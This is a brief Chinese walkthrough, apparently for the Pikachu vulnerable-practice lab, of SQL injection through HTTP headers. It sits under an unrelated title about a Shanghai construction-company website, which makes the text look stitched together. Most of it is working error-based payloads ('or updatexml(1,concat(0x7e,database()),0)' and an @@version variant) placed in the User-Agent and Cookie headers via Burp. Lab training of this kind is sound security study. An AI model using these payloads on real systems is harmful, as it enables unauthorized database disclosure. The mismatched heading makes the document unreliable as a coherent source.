凌美上海建设工程网站单位网站的方案

1. 先在 pikachu 打开 Http Header 注入模块，点击提示 查看登录 账号 和 密码，登陆后去 Burp 中找到登陆的 GET请求

2. 设置payload1 ：在 User-Agent最后 输入 

查看 数据库名 

' or updatexml(1,concat(0x7e,database()),0) or '

查看 用户名

' or updatexml(1,concat(0x7e,user()),0) or '

3. 因为有些把 user-agent等请求头键值对 的数据也保存在了 数据库 里面

4. php专门取请求头数据的方法 : $_SERVER[ ' 请求头键 ' ] 就能拿到值。 

5. 或者 设置payload2 ：在 Cookie: ant[uname]=admin后面，“;” 前面 输入 

'and updatexml(1,concat(0x7e,(SELECT @@version) , 0x7e) ,1) #